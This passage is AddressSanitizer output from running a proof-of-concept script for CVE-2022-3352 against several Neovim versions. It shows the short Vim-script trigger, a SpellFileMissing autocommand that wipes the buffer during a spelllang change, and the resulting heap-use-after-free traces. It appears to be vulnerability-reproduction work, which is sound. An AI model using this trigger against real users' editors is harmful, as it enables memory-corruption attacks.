\"/usr/local/share/nvim/runtime/spell/0.utf-8.spl\"\nSearching for \"/usr/local/lib/nvim/spell/0.utf-8.spl\"\nnot found in runtime path: \"spell/0.utf-8.spl\"\nSearching for \"spell/0.ascii.spl\" in runtime path\nSearching for \"/usr/local/share/nvim/runtime/spell/0.ascii.spl\"\nSearching for \"/usr/local/lib/nvim/spell/0.ascii.spl\"\nnot found in runtime path: \"spell/0.ascii.spl\"\nExecuting SpellFileMissing Autocommands for \"0\"\nautocommand bw\n\nExecuting: bw\n\nExecuting: unlet! b:keymap_name\n\nSearching for \"spell/0.utf-8.spl\" in runtime path\nSearching for \"/usr/local/share/nvim/runtime/spell/0.utf-8.spl\"\nSearching for \"/usr/local/lib/nvim/spell/0.utf-8.spl\"\nnot found in runtime path: \"spell/0.utf-8.spl\"\nSearching for \"spell/0.ascii.spl\" in runtime path\nSearching for \"/usr/local/share/nvim/runtime/spell/0.ascii.spl\"\nSearching for \"/usr/local/lib/nvim/spell/0.ascii.spl\"\nnot found in runtime path: \"spell/0.ascii.spl\"\nline 3: autocmd VimEnter * call spellfile#LoadFile('0')|set spell\n=================================================================\n==68883==ERROR: AddressSanitizer: heap-use-after-free on address 0x627000002fd8 at pc 0x000000deb590 bp 0x7ffdc2c4bd90 sp 0x7ffdc2c4bd88\nREAD of size 8 at 0x627000002fd8 thread T0\n    #0 0xdeb58f in did_set_string_option /home/zzw/Desktop/neovim/build/../src/nvim/optionstr.c:1514:24\n    #1 0xdbb8aa in do_set_string /home/zzw/Desktop/neovim/build/../src/nvim/option.c:1060:15\n    #2 0xdad219 in do_set /home/zzw/Desktop/neovim/build/../src/nvim/option.c:1437:17\n    #3 0xda90b5 in ex_set /home/zzw/Desktop/neovim/build/../src/nvim/option.c:740:9\n    #4 0x99ad3c in execute_cmd0 /home/zzw/Desktop/neovim/build/../src/nvim/ex_docmd.c:1620:7\n    #5 0x98897b in do_one_cmd /home/zzw/Desktop/neovim/build/../src/nvim/ex_docmd.c:2275:7\n    #6 0x97dd3b in do_cmdline /home/zzw/Desktop/neovim/build/../src/nvim/ex_docmd.c:584:20\n    #7 0x981a93 in do_cmdline_cmd /home/zzw/Desktop/neovim/build/../src/nvim/ex_docmd.c:287:10\n    #8 0x10bc92b in f_assert_fails /home/zzw/Desktop/neovim/build/../src/nvim/testing.c:483:3\n    #9 0x86ccd8 in call_internal_func /home/zzw/Desktop/neovim/build/../src/nvim/eval/funcs.c:205:3\n    #10 0x905f58 in call_func /home/zzw/Desktop/neovim/build/../src/nvim/eval/userfunc.c:1571:15\n    #11 0x904445 in get_func_tv /home/zzw/Desktop/neovim/build/../src/nvim/eval/userfunc.c:462:11\n    #12 0x920517 in ex_call /home/zzw/Desktop/neovim/build/../src/nvim/eval/userfunc.c:2959:9\n    #13 0x99ad3c in execute_cmd0 /home/zzw/Desktop/neovim/build/../src/nvim/ex_docmd.c:1620:7\n    #14 0x98897b in do_one_cmd /home/zzw/Desktop/neovim/build/../src/nvim/ex_docmd.c:2275:7\n    #15 0x97dd3b in do_cmdline /home/zzw/Desktop/neovim/build/../src/nvim/ex_docmd.c:584:20\n    #16 0xf058d9 in do_source /home/zzw/Desktop/neovim/build/../src/nvim/runtime.c:2036:5\n    #17 0xf02ab2 in cmd_source /home/zzw/Desktop/neovim/build/../src/nvim/runtime.c:1618:14\n    #18 0xf02810 in ex_source /home/zzw/Desktop/neovim/build/../src/nvim/runtime.c:1626:3\n    #19 0x99ad3c in execute_cmd0 /home/zzw/Desktop/neovim/build/../src/nvim/ex_docmd.c:1620:7\n    #20 0x98897b in do_one_cmd /home/zzw/Desktop/neovim/build/../src/nvim/ex_docmd.c:2275:7\n    #21 0x97dd3b in do_cmdline /home/zzw/Desktop/neovim/build/../src/nvim/ex_docmd.c:584:20\n    #22 0x981a93 in do_cmdline_cmd /home/zzw/Desktop/neovim/build/../src/nvim/ex_docmd.c:287:10\n    #23 0xb8b4f0 in exe_commands /home/zzw/Desktop/neovim/build/../src/nvim/main.c:1807:5\n    #24 0xb80c42 in main /home/zzw/Desktop/neovim/build/../src/nvim/main.c:534:5\n    #25 0x7ffbd8f22082 in __libc_start_main /build/glibc-B3wQXB/glibc-2.31/csu/../csu/libc-start.c:308:16\n    #26 0x466f9d in _start (/home/zzw/Desktop/EXE/nvim_exe/nvim-0.8.0-ASAN+0x466f9d)\n\n0x627000002fd8 is located 11992 bytes inside of 12320-byte region [0x627000000100,0x627000003120)\nfreed by thread T0 here:\n    #0 0x4df45d in free (/home/zzw/Desktop/EXE/nvim_exe/nvim-0.8.0-ASAN+0x4df45d)\n    #1 0xc69634 in xfree /home/zzw/Desktop/neovim/build/../src/nvim/memory.c:128:3\n    #2 0x69ecd7 in apply_autocmds_group /home/zzw/Desktop/neovim/build/../src/nvim/autocmd.c:1915:7\n    #3 0x6a20b6 in apply_autocmds /home/zzw/Desktop/neovim/build/../src/nvim/autocmd.c:1532:10\n    #4 0xfd1904 in spell_load_lang /home/zzw/Desktop/neovim/build/../src/nvim/spell.c:1529:14\n    #5 0xfcfa5a in did_set_spelllang /home/zzw/Desktop/neovim/build/../src/nvim/spell.c:1957:9\n    #6 0xfdd912 in did_set_spell_option /home/zzw/Desktop/neovim/build/../src/nvim/spell.c:3624:18\n    #7 0xde5d4f in did_set_string_option /home/zzw/Desktop/neovim/build/../src/nvim/optionstr.c:1127:16\n    #8 0xdbb8aa in do_set_string /home/zzw/Desktop/neovim/build/../src/nvim/option.c:1060:15\n    #9 0xdad219 in do_set /home/zzw/Desktop/neovim/build/../src/nvim/option.c:1437:17\n    #10 0xda90b5 in ex_set /home/zzw/Desktop/neovim/build/../src/nvim/option.c:740:9\n    #11 0x99ad3c in execute_cmd0 /home/zzw/Desktop/neovim/build/../src/nvim/ex_docmd.c:1620:7\n    #12 0x98897b in do_one_cmd /home/zzw/Desktop/neovim/build/../src/nvim/ex_docmd.c:2275:7\n    #13 0x97dd3b in do_cmdline /home/zzw/Desktop/neovim/build/../src/nvim/ex_docmd.c:584:20\n    #14 0x981a93 in do_cmdline_cmd /home/zzw/Desktop/neovim/build/../src/nvim/ex_docmd.c:287:10\n    #15 0x10bc92b in f_assert_fails /home/zzw/Desktop/neovim/build/../src/nvim/testing.c:483:3\n    #16 0x86ccd8 in call_internal_func /home/zzw/Desktop/neovim/build/../src/nvim/eval/funcs.c:205:3\n    #17 0x905f58 in call_func /home/zzw/Desktop/neovim/build/../src/nvim/eval/userfunc.c:1571:15\n    #18 0x904445 in get_func_tv /home/zzw/Desktop/neovim/build/../src/nvim/eval/userfunc.c:462:11\n    #19 0x920517 in ex_call /home/zzw/Desktop/neovim/build/../src/nvim/eval/userfunc.c:2959:9\n    #20 0x99ad3c in execute_cmd0 /home/zzw/Desktop/neovim/build/../src/nvim/ex_docmd.c:1620:7\n    #21 0x98897b in do_one_cmd /home/zzw/Desktop/neovim/build/../src/nvim/ex_docmd.c:2275:7\n    #22 0x97dd3b in do_cmdline /home/zzw/Desktop/neovim/build/../src/nvim/ex_docmd.c:584:20\n    #23 0xf058d9 in do_source /home/zzw/Desktop/neovim/build/../src/nvim/runtime.c:2036:5\n    #24 0xf02ab2 in cmd_source /home/zzw/Desktop/neovim/build/../src/nvim/runtime.c:1618:14\n    #25 0xf02810 in ex_source /home/zzw/Desktop/neovim/build/../src/nvim/runtime.c:1626:3\n    #26 0x99ad3c in execute_cmd0 /home/zzw/Desktop/neovim/build/../src/nvim/ex_docmd.c:1620:7\n    #27 0x98897b in do_one_cmd /home/zzw/Desktop/neovim/build/../src/nvim/ex_docmd.c:2275:7\n    #28 0x97dd3b in do_cmdline /home/zzw/Desktop/neovim/build/../src/nvim/ex_docmd.c:584:20\n    #29 0x981a93 in do_cmdline_cmd /home/zzw/Desktop/neovim/build/../src/nvim/ex_docmd.c:287:10\n\npreviously allocated by thread T0 here:\n    #0 0x4df852 in calloc (/home/zzw/Desktop/EXE/nvim_exe/nvim-0.8.0-ASAN+0x4df852)\n    #1 0xc696ce in xcalloc /home/zzw/Desktop/neovim/build/../src/nvim/memory.c:142:15\n    #2 0x6b8629 in buflist_new /home/zzw/Desktop/neovim/build/../src/nvim/buffer.c:1775:11\n    #3 0x1246b7a in win_alloc_firstwin /home/zzw/Desktop/neovim/build/../src/nvim/window.c:3911:14\n    #4 0x1246890 in win_alloc_first /home/zzw/Desktop/neovim/build/../src/nvim/window.c:3873:7\n    #5 0xb7ea7e in early_init /home/zzw/Desktop/neovim/build/../src/nvim/main.c:190:8\n    #6 0xb7f35e in main /home/zzw/Desktop/neovim/build/../src/nvim/main.c:257:3\n    #7 0x7ffbd8f22082 in __libc_start_main /build/glibc-B3wQXB/glibc-2.31/csu/../csu/libc-start.c:308:16\n\nSUMMARY: AddressSanitizer: heap-use-after-free /home/zzw/Desktop/neovim/build/../src/nvim/optionstr.c:1514:24 in did_set_string_option\nShadow bytes around the buggy address:\n  0x0c4e7fff85a0: fd fd fd fd fd fd fd fd fd fd fd fd fd fd fd fd\n  0x0c4e7fff85b0: fd fd fd fd fd fd fd fd fd fd fd fd fd fd fd fd\n  0x0c4e7fff85c0: fd fd fd fd fd fd fd fd fd fd fd fd fd fd fd fd\n  0x0c4e7fff85d0: fd fd fd fd fd fd fd fd fd fd fd fd fd fd fd fd\n  0x0c4e7fff85e0: fd fd fd fd fd fd fd fd fd fd fd fd fd fd fd fd\n=&gt;0x0c4e7fff85f0: fd fd fd fd fd fd fd fd fd fd fd[fd]fd fd fd fd\n  0x0c4e7fff8600: fd fd fd fd fd fd fd fd fd fd fd fd fd fd fd fd\n  0x0c4e7fff8610: fd fd fd fd fd fd fd fd fd fd fd fd fd fd fd fd\n  0x0c4e7fff8620: fd fd fd fd fa fa fa fa fa fa fa fa fa fa fa fa\n  0x0c4e7fff8630: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa\n  0x0c4e7fff8640: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa\nShadow byte legend (one shadow byte represents 8 application bytes):\n  Addressable:           00\n  Partially addressable: 01 02 03 04 05 06 07 \n  Heap left redzone:       fa\n  Freed heap region:       fd\n  Stack left redzone:      f1\n  Stack mid redzone:       f2\n  Stack right redzone:     f3\n  Stack after return:      f5\n  Stack use after scope:   f8\n  Global redzone:          f9\n  Global init order:       f6\n  Poisoned by user:        f7\n  Container overflow:      fc\n  Array cookie:            ac\n  Intra object redzone:    bb\n  ASan internal:           fe\n  Left alloca redzone:     ca\n  Right alloca redzone:    cb\n  Shadow gap:              cc\n==68883==ABORTING\n\n\n\nCommand:\n./nvim-0.6.0 -u NONE -i NONE -n -m -X -V20 -e -s -S poc -c :qa!\n\nOutput:\nExecuting: augroup nvim_terminal\n\nExecuting: autocmd BufReadCmd term://* ++nested if !exists('b:term_title')|call termopen(matchstr(expand(\"\"), '\\c\\mterm://\\%(.\\{-}//\\%(\\d\\+:\\)\\?\\)\\?\\zs.*'), {'cwd': expand(get(matchlist(expand(\"\"), '\\c\\mterm://\\(.\\{-}\\)//'), 1, ''))})|endif\n\nExecuting: augroup END\n\nExecuting: augroup nvim_cmdwin\n\nExecuting: autocmd! CmdwinEnter [:&gt;] syntax sync minlines=1 maxlines=1\n\nExecuting: augroup END\n\nExecuting: so poc\n\nline 0: sourcing \"poc\"\nline 1: n0\n\nline 1: unlet! b:keymap_name\n\nline 2: au SpellFileMissing 0 bw\n\nline 3: cal assert_fails('se spell spelllang=0')\n\nline 3: se spell spelllang=0\n\nSearching for \"spell/en.utf-8.spl\" in runtime path\nSearching for \"/usr/local/share/nvim/runtime/spell/en.utf-8.spl\"\nReading spell file \"/usr/local/share/nvim/runtime/spell/en.utf-8.spl\"\nSearching for \"spell/en.utf-8.add.spl\" in runtime path\nSearching for \"/usr/local/share/nvim/runtime/spell/en.utf-8.add.spl\"\nReading spell file \"/usr/local/share/nvim/runtime/spell/en.utf-8.add.spl\"\nSearching for \"/usr/local/lib/nvim/spell/en.utf-8.add.spl\"\nSearching for \"spell/0.utf-8.spl\" in runtime path\nSearching for \"/usr/local/share/nvim/runtime/spell/0.utf-8.spl\"\nSearching for \"/usr/local/lib/nvim/spell/0.utf-8.spl\"\nnot found in runtime path: \"spell/0.utf-8.spl\"\nSearching for \"spell/0.ascii.spl\" in runtime path\nSearching for \"/usr/local/share/nvim/runtime/spell/0.ascii.spl\"\nSearching for \"/usr/local/lib/nvim/spell/0.ascii.spl\"\nnot found in runtime path: \"spell/0.ascii.spl\"\nExecuting SpellFileMissing Autocommands for \"0\"\nautocommand bw\n\nExecuting: bw\n\nExecuting: unlet! b:keymap_name\n\nSearching for \"spell/0.utf-8.spl\" in runtime path\nSearching for \"/usr/local/share/nvim/runtime/spell/0.utf-8.spl\"\nSearching for \"/usr/local/lib/nvim/spell/0.utf-8.spl\"\nnot found in runtime path: \"spell/0.utf-8.spl\"\nSearching for \"spell/0.ascii.spl\" in runtime path\nSearching for \"/usr/local/share/nvim/runtime/spell/0.ascii.spl\"\nSearching for \"/usr/local/lib/nvim/spell/0.ascii.spl\"\nnot found in runtime path: \"spell/0.ascii.spl\"\nline 3: autocmd VimEnter * call spellfile#LoadFile('0')|set spell\n=================================================================\n==68340==ERROR: AddressSanitizer: heap-use-after-free on address 0x627000003000 at pc 0x000000c9f0ac bp 0x7fff9c9b3010 sp 0x7fff9c9b3008\nREAD of size 8 at 0x627000003000 thread T0\n    #0 0xc9f0ab in did_set_string_option /home/zzw/Desktop/neovim/build/../src/nvim/option.c:3206:26\n    #1 0xc82ab7 in do_set /home/zzw/Desktop/neovim/build/../src/nvim/option.c:1623:24\n    #2 0x944984 in ex_set /home/zzw/Desktop/neovim/build/../src/nvim/ex_docmd.c:9568:9\n    #3 0x901b90 in do_one_cmd /home/zzw/Desktop/neovim/build/../src/nvim/ex_docmd.c:1983:5\n    #4 0x8f3f92 in do_cmdline /home/zzw/Desktop/neovim/build/../src/nvim/ex_docmd.c:604:20\n    #5 0x8f7933 in do_cmdline_cmd /home/zzw/Desktop/neovim/build/../src/nvim/ex_docmd.c:288:10\n    #6 0x76b0ab in assert_fails /home/zzw/Desktop/neovim/build/../src/nvim/eval.c:6311:3\n    #7 0x81b99c in f_assert_fails /home/zzw/Desktop/neovim/build/../src/nvim/eval/funcs.c:511:26\n    #8 0x7e52f8 in call_internal_func /home/zzw/Desktop/neovim/build/../src/nvim/eval/funcs.c:198:3\n    #9 0x86f0b9 in call_func /home/zzw/Desktop/neovim/build/../src/nvim/eval/userfunc.c:1593:15\n    #10 0x86cc15 in get_func_tv /home/zzw/Desktop/neovim/build/../src/nvim/eval/userfunc.c:459:11\n    #11 0x887924 in ex_call /home/zzw/Desktop/neovim/build/../src/nvim/eval/userfunc.c:3008:9\n    #12 0x901b90 in do_one_cmd /home/zzw/Desktop/neovim/build/../src/nvim/ex_docmd.c:1983:5\n    #13 0x8f3f92 in do_cmdline /home/zzw/Desktop/neovim/build/../src/nvim/ex_docmd.c:604:20\n    #14 0x8e89fc in do_source /home/zzw/Desktop/neovim/build/../src/nvim/ex_cmds2.c:2242:5\n    #15 0x8e56d2 in cmd_source /home/zzw/Desktop/neovim/build/../src/nvim/ex_cmds2.c:1805:14\n    #16 0x8e5cb0 in ex_source /home/zzw/Desktop/neovim/build/../src/nvim/ex_cmds2.c:1786:3\n    #17 0x901b90 in do_one_cmd /home/zzw/Desktop/neovim/build/../src/nvim/ex_docmd.c:1983:5\n    #18 0x8f3f92 in do_cmdline /home/zzw/Desktop/neovim/build/../src/nvim/ex_docmd.c:604:20\n    #19 0x8f7933 in do_cmdline_cmd /home/zzw/Desktop/neovim/build/../src/nvim/ex_docmd.c:288:10\n    #20 0xabf9ae in exe_commands /home/zzw/Desktop/neovim/build/../src/nvim/main.c:1654:5\n    #21 0xab7f96 in main /home/zzw/Desktop/neovim/build/../src/nvim/main.c:493:5\n    #22 0x7f2929bef082 in __libc_start_main /build/glibc-B3wQXB/glibc-2.31/csu/../csu/libc-start.c:308:16\n    #23 0x45df4d in _start (/home/zzw/Desktop/EXE/nvim_exe/nvim-0.6.0-ASAN+0x45df4d)\n\n0x627000003000 is located 12032 bytes inside of 12392-byte region [0x627000000100,0x627000003168)\nfreed by thread T0 here:\n    #0 0x4d640d in free (/home/zzw/Desktop/EXE/nvim_exe/nvim-0.6.0-ASAN+0x4d640d)\n    #1 0xb5f204 in xfree /home/zzw/Desktop/neovim/build/../src/nvim/memory.c:122:3\n    #2 0x65ca6a in apply_autocmds_group /home/zzw/Desktop/neovim/build/../src/nvim/autocmd.c:1656:7\n    #3 0x65faad in apply_autocmds /home/zzw/Desktop/neovim/build/../src/nvim/autocmd.c:1264:10\n    #4 0xec200d in spell_load_lang /home/zzw/Desktop/neovim/build/../src/nvim/spell.c:1685:14\n    #5 0xec01ba in did_set_spelllang /home/zzw/Desktop/neovim/build/../src/nvim/spell.c:2156:9\n    #6 0xcc1602 in did_set_spell_option /home/zzw/Desktop/neovim/build/../src/nvim/option.c:3736:18\n    #7 0xc99ad9 in did_set_string_option /home/zzw/Desktop/neovim/build/../src/nvim/option.c:2832:16\n    #8 0xc82ab7 in do_set /home/zzw/Desktop/neovim/build/../src/nvim/option.c:1623:24\n    #9 0x944984 in ex_set /home/zzw/Desktop/neovim/build/../src/nvim/ex_docmd.c:9568:9\n    #10 0x901b90 in do_one_cmd /home/zzw/Desktop/neovim/build/../src/nvim/ex_docmd.c:1983:5\n    #11 0x8f3f92 in do_cmdline /home/zzw/Desktop/neovim/build/../src/nvim/ex_docmd.c:604:20\n    #12 0x8f7933 in do_cmdline_cmd /home/zzw/Desktop/neovim/build/../src/nvim/ex_docmd.c:288:10\n    #13 0x76b0ab in assert_fails /home/zzw/Desktop/neovim/build/../src/nvim/eval.c:6311:3\n    #14 0x81b99c in f_assert_fails /home/zzw/Desktop/neovim/build/../src/nvim/eval/funcs.c:511:26\n    #15 0x7e52f8 in call_internal_func /home/zzw/Desktop/neovim/build/../src/nvim/eval/funcs.c:198:3\n    #16 0x86f0b9 in call_func /home/zzw/Desktop/neovim/build/../src/nvim/eval/userfunc.c:1593:15\n    #17 0x86cc15 in get_func_tv /home/zzw/Desktop/neovim/build/../src/nvim/eval/userfunc.c:459:11\n    #18 0x887924 in ex_call /home/zzw/Desktop/neovim/build/../src/nvim/eval/userfunc.c:3008:9\n    #19 0x901b90 in do_one_cmd /home/zzw/Desktop/neovim/build/../src/nvim/ex_docmd.c:1983:5\n    #20 0x8f3f92 in do_cmdline /home/zzw/Desktop/neovim/build/../src/nvim/ex_docmd.c:604:20\n    #21 0x8e89fc in do_source /home/zzw/Desktop/neovim/build/../src/nvim/ex_cmds2.c:2242:5\n    #22 0x8e56d2 in cmd_source /home/zzw/Desktop/neovim/build/../src/nvim/ex_cmds2.c:1805:14\n    #23 0x8e5cb0 in ex_source /home/zzw/Desktop/neovim/build/../src/nvim/ex_cmds2.c:1786:3\n    #24 0x901b90 in do_one_cmd /home/zzw/Desktop/neovim/build/../src/nvim/ex_docmd.c:1983:5\n    #25 0x8f3f92 in do_cmdline /home/zzw/Desktop/neovim/build/../src/nvim/ex_docmd.c:604:20\n    #26 0x8f7933 in do_cmdline_cmd /home/zzw/Desktop/neovim/build/../src/nvim/ex_docmd.c:288:10\n    #27 0xabf9ae in exe_commands /home/zzw/Desktop/neovim/build/../src/nvim/main.c:1654:5\n    #28 0xab7f96 in main /home/zzw/Desktop/neovim/build/../src/nvim/main.c:493:5\n    #29 0x7f2929bef082 in __libc_start_main /build/glibc-B3wQXB/glibc-2.31/csu/../csu/libc-start.c:308:16\n\npreviously allocated by thread T0 here:\n    #0 0x4d6802 in calloc (/home/zzw/Desktop/EXE/nvim_exe/nvim-0.6.0-ASAN+0x4d6802)\n    #1 0xb5f29e in xcalloc /home/zzw/Desktop/neovim/build/../src/nvim/memory.c:136:15\n    #2 0x67005c in buflist_new /home/zzw/Desktop/neovim/build/../src/nvim/buffer.c:1733:11\n    #3 0x10dc4aa in win_alloc_firstwin /home/zzw/Desktop/neovim/build/../src/nvim/window.c:3648:14\n    #4 0x10dc1c0 in win_alloc_first /home/zzw/Desktop/neovim/build/../src/nvim/window.c:3608:7\n    #5 0xab614d in early_init /home/zzw/Desktop/neovim/build/../src/nvim/main.c:181:8\n    #6 0xab6c9b in main /home/zzw/Desktop/neovim/build/../src/nvim/main.c:246:3\n    #7 0x7f2929bef082 in __libc_start_main /build/glibc-B3wQXB/glibc-2.31/csu/../csu/libc-start.c:308:16\n\nSUMMARY: AddressSanitizer: heap-use-after-free /home/zzw/Desktop/neovim/build/../src/nvim/option.c:3206:26 in did_set_string_option\nShadow bytes around the buggy address:\n  0x0c4e7fff85b0: fd fd fd fd fd fd fd fd fd fd fd fd fd fd fd fd\n  0x0c4e7fff85c0: fd fd fd fd fd fd fd fd fd fd fd fd fd fd fd fd\n  0x0c4e7fff85d0: fd fd fd fd fd fd fd fd fd fd fd fd fd fd fd fd\n  0x0c4e7fff85e0: fd fd fd fd fd fd fd fd fd fd fd fd fd fd fd fd\n  0x0c4e7fff85f0: fd fd fd fd fd fd fd fd fd fd fd fd fd fd fd fd\n=&gt;0x0c4e7fff8600:[fd]fd fd fd fd fd fd fd fd fd fd fd fd fd fd fd\n  0x0c4e7fff8610: fd fd fd fd fd fd fd fd fd fd fd fd fd fd fd fd\n  0x0c4e7fff8620: fd fd fd fd fd fd fd fd fd fd fd fd fd fa fa fa\n  0x0c4e7fff8630: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa\n  0x0c4e7fff8640: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa\n  0x0c4e7fff8650: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa\nShadow byte legend (one shadow byte represents 8 application bytes):\n  Addressable:           00\n  Partially addressable: 01 02 03 04 05 06 07 \n  Heap left redzone:       fa\n  Freed heap region:       fd\n  Stack left redzone:      f1\n  Stack mid redzone:       f2\n  Stack right redzone:     f3\n  Stack after return:      f5\n  Stack use after scope:   f8\n  Global redzone:          f9\n  Global init order:       f6\n  Poisoned by user:        f7\n  Container overflow:      fc\n  Array cookie:            ac\n  Intra object redzone:    bb\n  ASan internal:           fe\n  Left alloca redzone:     ca\n  Right alloca redzone:    cb\n  Shadow gap:              cc\n==68340==ABORTING\n\n\n\nCommand:\n./nvim-0.3.0 -u NONE -i NONE -n -m -X -V20 -e -s -S poc -c :qa!\n\nOutput:\nline 0: so poc\n\nline 0: sourcing \"poc\"\nline 1: n0\n\nchdir(/home/zzw/Desktop/DATA/Exec_PoC/CVE-2022-3352)\nchdir(/home/zzw/Desktop/DATA/Exec_PoC/CVE-2022-3352)\nchdir(/home/zzw/Desktop/DATA/Exec_PoC/CVE-2022-3352)\n\"0\" [New File]\nline 1: unlet! b:keymap_name\n\nline 2: au SpellFileMissing 0 bw\n\nline 3: cal assert_fails('se spell spelllang=0')\n\nline 3: se spell spelllang=0\n\nSearching for \"spell/en.utf-8.spl\" in \"/home/zzw/.config/nvim,/etc/xdg/nvim,/home/zzw/.local/share/nvim/site,/usr/local/share/nvim/site,/usr/share/nvim/site,/usr/local/share/nvim/runtime,/usr/share/nvim/site/after,/usr/local/share/nvim/site/after,/home/zzw/.local/share/nvim/site/after,/etc/xdg/nvim/after,/home/zzw/.config/nvim/after\"\nSearching for \"/home/zzw/.config/nvim/spell/en.utf-8.spl\"\nSearching for \"/etc/xdg/nvim/spell/en.utf-8.spl\"\nSearching for \"/home/zzw/.local/share/nvim/site/spell/en.utf-8.spl\"\nSearching for \"/usr/local/share/nvim/site/spell/en.utf-8.spl\"\nSearching for \"/usr/share/nvim/site/spell/en.utf-8.spl\"\nSearching for \"/usr/local/share/nvim/runtime/spell/en.utf-8.spl\"\nReading spell file \"/usr/local/share/nvim/runtime/spell/en.utf-8.spl\"\nSearching for \"spell/en.utf-8.add.spl\" in \"/home/zzw/.config/nvim,/etc/xdg/nvim,/home/zzw/.local/share/nvim/site,/usr/local/share/nvim/site,/usr/share/nvim/site,/usr/local/share/nvim/runtime,/usr/share/nvim/site/after,/usr/local/share/nvim/site/after,/home/zzw/.local/share/nvim/site/after,/etc/xdg/nvim/after,/home/zzw/.config/nvim/after\"\nSearching for \"/home/zzw/.config/nvim/spell/en.utf-8.add.spl\"\nSearching for \"/etc/xdg/nvim/spell/en.utf-8.add.spl\"\nSearching for \"/home/zzw/.local/share/nvim/site/spell/en.utf-8.add.spl\"\nSearching for \"/usr/local/share/nvim/site/spell/en.utf-8.add.spl\"\nSearching for \"/usr/share/nvim/site/spell/en.utf-8.add.spl\"\nSearching for \"/usr/local/share/nvim/runtime/spell/en.utf-8.add.spl\"\nReading spell file \"/usr/local/share/nvim/runtime/spell/en.utf-8.add.spl\"\nSearching for \"/usr/share/nvim/site/after/spell/en.utf-8.add.spl\"\nSearching for \"/usr/local/share/nvim/site/after/spell/en.utf-8.add.spl\"\nSearching for \"/home/zzw/.local/share/nvim/site/after/spell/en.utf-8.add.spl\"\nSearching for \"/etc/xdg/nvim/after/spell/en.utf-8.add.spl\"\nSearching for \"/home/zzw/.config/nvim/after/spell/en.utf-8.add.spl\"\nSearching for \"spell/0.utf-8.spl\" in \"/home/zzw/.config/nvim,/etc/xdg/nvim,/home/zzw/.local/share/nvim/site,/usr/local/share/nvim/site,/usr/share/nvim/site,/usr/local/share/nvim/runtime,/usr/share/nvim/site/after,/usr/local/share/nvim/site/after,/home/zzw/.local/share/nvim/site/after,/etc/xdg/nvim/after,/home/zzw/.config/nvim/after\"\nSearching for \"/home/zzw/.config/nvim/spell/0.utf-8.spl\"\nSearching for \"/etc/xdg/nvim/spell/0.utf-8.spl\"\nSearching for \"/home/zzw/.local/share/nvim/site/spell/0.utf-8.spl\"\nSearching for \"/usr/local/share/nvim/site/spell/0.utf-8.spl\"\nSearching for \"/usr/share/nvim/site/spell/0.utf-8.spl\"\nSearching for \"/usr/local/share/nvim/runtime/spell/0.utf-8.spl\"\nSearching for \"/usr/share/nvim/site/after/spell/0.utf-8.spl\"\nSearching for \"/usr/local/share/nvim/site/after/spell/0.utf-8.spl\"\nSearching for \"/home/zzw/.local/share/nvim/site/after/spell/0.utf-8.spl\"\nSearching for \"/etc/xdg/nvim/after/spell/0.utf-8.spl\"\nSearching for \"/home/zzw/.config/nvim/after/spell/0.utf-8.spl\"\nnot found in 'runtimepath': \"spell/0.utf-8.spl\"\nSearching for \"spell/0.ascii.spl\" in \"/home/zzw/.config/nvim,/etc/xdg/nvim,/home/zzw/.local/share/nvim/site,/usr/local/share/nvim/site,/usr/share/nvim/site,/usr/local/share/nvim/runtime,/usr/share/nvim/site/after,/usr/local/share/nvim/site/after,/home/zzw/.local/share/nvim/site/after,/etc/xdg/nvim/after,/home/zzw/.config/nvim/after\"\nSearching for \"/home/zzw/.config/nvim/spell/0.ascii.spl\"\nSearching for \"/etc/xdg/nvim/spell/0.ascii.spl\"\nSearching for \"/home/zzw/.local/share/nvim/site/spell/0.ascii.spl\"\nSearching for \"/usr/local/share/nvim/site/spell/0.ascii.spl\"\nSearching for \"/usr/share/nvim/site/spell/0.ascii.spl\"\nSearching for \"/usr/local/share/nvim/runtime/spell/0.ascii.spl\"\nSearching for \"/usr/share/nvim/site/after/spell/0.ascii.spl\"\nSearching for \"/usr/local/share/nvim/site/after/spell/0.ascii.spl\"\nSearching for \"/home/zzw/.local/share/nvim/site/after/spell/0.ascii.spl\"\nSearching for \"/etc/xdg/nvim/after/spell/0.ascii.spl\"\nSearching for \"/home/zzw/.config/nvim/after/spell/0.ascii.spl\"\nnot found in 'runtimepath': \"spell/0.ascii.spl\"\nExecuting SpellFileMissing Auto commands for \"0\"\nautocommand bw\n\nline 0: bw\n\nline 0: unlet! b:keymap_name\n\nSearching for \"spell/0.utf-8.spl\" in \"/home/zzw/.config/nvim,/etc/xdg/nvim,/home/zzw/.local/share/nvim/site,/usr/local/share/nvim/site,/usr/share/nvim/site,/usr/local/share/nvim/runtime,/usr/share/nvim/site/after,/usr/local/share/nvim/site/after,/home/zzw/.local/share/nvim/site/after,/etc/xdg/nvim/after,/home/zzw/.config/nvim/after\"\nSearching for \"/home/zzw/.config/nvim/spell/0.utf-8.spl\"\nSearching for \"/etc/xdg/nvim/spell/0.utf-8.spl\"\nSearching for \"/home/zzw/.local/share/nvim/site/spell/0.utf-8.spl\"\nSearching for \"/usr/local/share/nvim/site/spell/0.utf-8.spl\"\nSearching for \"/usr/share/nvim/site/spell/0.utf-8.spl\"\nSearching for \"/usr/local/share/nvim/runtime/spell/0.utf-8.spl\"\nSearching for \"/usr/share/nvim/site/after/spell/0.utf-8.spl\"\nSearching for \"/usr/local/share/nvim/site/after/spell/0.utf-8.spl\"\nSearching for \"/home/zzw/.local/share/nvim/site/after/spell/0.utf-8.spl\"\nSearching for \"/etc/xdg/nvim/after/spell/0.utf-8.spl\"\nSearching for \"/home/zzw/.config/nvim/after/spell/0.utf-8.spl\"\nnot found in 'runtimepath': \"spell/0.utf-8.spl\"\nSearching for \"spell/0.ascii.spl\" in \"/home/zzw/.config/nvim,/etc/xdg/nvim,/home/zzw/.local/share/nvim/site,/usr/local/share/nvim/site,/usr/share/nvim/site,/usr/local/share/nvim/runtime,/usr/share/nvim/site/after,/usr/local/share/nvim/site/after,/home/zzw/.local/share/nvim/site/after,/etc/xdg/nvim/after,/home/zzw/.config/nvim/after\"\nSearching for \"/home/zzw/.config/nvim/spell/0.ascii.spl\"\nSearching for \"/etc/xdg/nvim/spell/0.ascii.spl\"\nSearching for \"/home/zzw/.local/share/nvim/site/spell/0.ascii.spl\"\nSearching for \"/usr/local/share/nvim/site/spell/0.ascii.spl\"\nSearching for \"/usr/share/nvim/site/spell/0.ascii.spl\"\nSearching for 